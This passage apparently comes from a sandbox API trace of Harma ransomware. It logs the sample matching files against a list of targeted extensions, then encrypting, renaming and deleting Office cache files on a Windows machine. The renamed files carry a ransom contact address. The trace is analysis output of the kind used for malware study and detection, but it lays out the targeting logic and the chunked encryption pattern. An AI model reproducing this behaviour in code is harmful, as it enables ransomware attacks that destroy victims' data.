Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.684] lstrlenW (lpString=".jpg") returned 4 [0059.684] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.684] lstrlenW (lpString=".doc") returned 4 [0059.684] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.684] lstrlenW (lpString=".docx") returned 5 [0059.684] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0059.684] lstrlenW (lpString=".pdf") returned 4 [0059.684] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.684] lstrlenW (lpString=".xls") returned 4 [0059.685] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.685] lstrlenW (lpString=".xlsx") returned 5 [0059.685] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0059.685] lstrlenW (lpString=".ppt") returned 4 [0059.685] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.685] lstrlenW (lpString=".zip") returned 4 [0059.685] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.685] lstrlenW (lpString=".rar") returned 4 [0059.685] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.685] lstrlenW (lpString=".bz2") returned 4 [0059.685] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.685] lstrlenW (lpString=".7z") returned 3 [0059.685] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.685] lstrlenW (lpString=".dbf") returned 4 [0059.685] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.685] lstrlenW (lpString=".1cd") returned 4 [0059.685] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.685] lstrlenW (lpString=".jpg") returned 4 [0059.685] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.686] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0059.686] lstrlenW (lpString="PidGenX.dll") returned 11 [0059.686] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0060.648] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1463568) returned 1 [0060.649] CloseHandle (hObject=0x170) returned 1 [0060.649] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0060.649] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0060.649] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.650] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.650] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0060.650] GetLastError () returned 0x0 [0060.650] ReadFile (in: hFile=0x170, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0060.713] WriteFile (in: hFile=0x210, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0061.402] ReadFile (in: hFile=0x170, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x65520, lpOverlapped=0x0) returned 1 [0062.057] WriteFile (in: hFile=0x210, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0062.068] ReadFile (in: hFile=0x170, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.068] WriteFile (in: hFile=0x210, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.068] SetEndOfFile (hFile=0x210) returned 1 [0062.069] CloseHandle (hObject=0x210) returned 1 [0062.069] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.069] SetEndOfFile (hFile=0x170) returned 1 [0062.073] CloseHandle (hObject=0x170) returned 1 [0062.073] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0062.073] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0062.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.073] lstrlenW (lpString=".doc") returned 4 [0062.073] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.073] lstrlenW (lpString=".docx") returned 5 [0062.074] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0062.074] lstrlenW (lpString=".pdf") returned 4 [0062.074] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.074] lstrlenW (lpString=".xls") returned 4 [0062.074] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.074] lstrlenW (lpString=".xlsx") returned 5 [0062.074] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0062.074] lstrlenW (lpString=".ppt") returned 4 [0062.074] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.074] lstrlenW (lpString=".zip") returned 4 [0062.074] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.074] lstrlenW (lpString=".rar") returned 4 [0062.074] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.074] lstrlenW (lpString=".bz2") returned 4 [0062.074] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.074] lstrlenW (lpString=".7z") returned 3 [0062.074] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.074] lstrlenW (lpString=".dbf") returned 4 [0062.074] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.074] lstrlenW (lpString=".1cd") returned 4 [0062.074] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.074] lstrlenW (lpString=".jpg") returned 4 [0062.074] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.074] lstrlenW (lpString=".doc") returned 4 [0062.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.075] lstrlenW (lpString=".docx") returned 5 [0062.075] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0062.075] lstrlenW (lpString=".pdf") returned 4 [0062.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.075] lstrlenW (lpString=".xls") returned 4 [0062.075] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.075] lstrlenW (lpString=".xlsx") returned 5 [0062.075] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0062.075] lstrlenW (lpString=".ppt") returned 4 [0062.075] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.075] lstrlenW (lpString=".zip") returned 4 [0062.075] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.075] lstrlenW (lpString=".rar") returned 4 [0062.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.075] lstrlenW (lpString=".bz2") returned 4 [0062.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.075] lstrlenW (lpString=".7z") returned 3 [0062.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.075] lstrlenW (lpString=".dbf") returned 4 [0062.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.075] lstrlenW (lpString=".1cd") returned 4 [0062.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.075] lstrlenW (lpString=".jpg") returned 4 [0062.075] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.076] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0062.076] lstrlenW (lpString="Office32WW.msi") returned 14 [0062.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.076] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1992192) returned 1 [0062.076] CloseHandle (hObject=0x170) returned 1 [0062.076] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0062.076] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.076] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0062.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.077] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0062.077] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.077] ReadFile (in: hFile=0x170, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.082] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.082] ReadFile (in: hFile=0x170, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.085] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.085] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.085] ReadFile (in: hFile=0x170, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.474] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.474] WriteFile (in: hFile=0x170, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0062.498] SetEndOfFile (hFile=0x170) returned 1 [0062.498] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f23170 [0062.498] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.499] WriteFile (in: hFile=0x170, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.500] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.500] WriteFile (in: hFile=0x170, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.502] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.502] WriteFile (in: hFile=0x170, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.504] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f23170 | out: hHeap=0x5a0000) returned 1 [0062.504] CloseHandle (hObject=0x170) returned 1 [0062.505] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0062.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.506] lstrlenW (lpString=".doc") returned 4 [0062.506] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.506] lstrlenW (lpString=".docx") returned 5 [0062.506] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0062.506] lstrlenW (lpString=".pdf") returned 4 [0062.506] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.506] lstrlenW (lpString=".xls") returned 4 [0062.506] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0062.506] lstrlenW (lpString=".xlsx") returned 5 [0062.506] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0062.506] lstrlenW (lpString=".ppt") returned 4 [0062.506] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.506] lstrlenW (lpString=".zip") returned 4 [0062.506] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0062.506] lstrlenW (lpString=".rar") returned 4 [0062.506] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.506] lstrlenW (lpString=".bz2") returned 4 [0062.506] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.506] lstrlenW (lpString=".7z") returned 3 [0062.507] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.507] lstrlenW (lpString=".dbf") returned 4 [0062.507] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.507] lstrlenW (lpString=".1cd") returned 4 [0062.507] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.507] lstrlenW (lpString=".jpg") returned 4 [0062.507] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.507] lstrlenW (lpString=".doc") returned 4 [0062.507] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0062.507] lstrlenW (lpString=".docx") returned 5 [0062.507] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0062.507] lstrlenW (lpString=".pdf") returned 4 [0062.507] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.507] lstrlenW (lpString=".xls") returned 4 [0062.507] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0062.507] lstrlenW (lpString=".xlsx") returned 5 [0062.507] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0062.507] lstrlenW (lpString=".ppt") returned 4 [0062.507] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.507] lstrlenW (lpString=".zip") returned 4 [0062.507] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0062.507] lstrlenW (lpString=".rar") returned 4 [0062.507] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.507] lstrlenW (lpString=".bz2") returned 4 [0062.508] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0062.508] lstrlenW (lpString=".7z") returned 3 [0062.508] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0062.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.508] lstrlenW (lpString=".dbf") returned 4 [0062.508] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0062.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.508] lstrlenW (lpString=".1cd") returned 4 [0062.508] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0062.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0062.508] lstrlenW (lpString=".jpg") returned 4 [0062.508] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0062.508] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0062.508] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0062.508] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.067] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=36233052) returned 1 [0063.067] CloseHandle (hObject=0x21c) returned 1 [0063.067] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0063.067] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.067] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0063.068] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.068] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0063.068] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.068] ReadFile (in: hFile=0x21c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.091] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.091] ReadFile (in: hFile=0x21c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.094] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0063.094] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.094] ReadFile (in: hFile=0x21c, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, 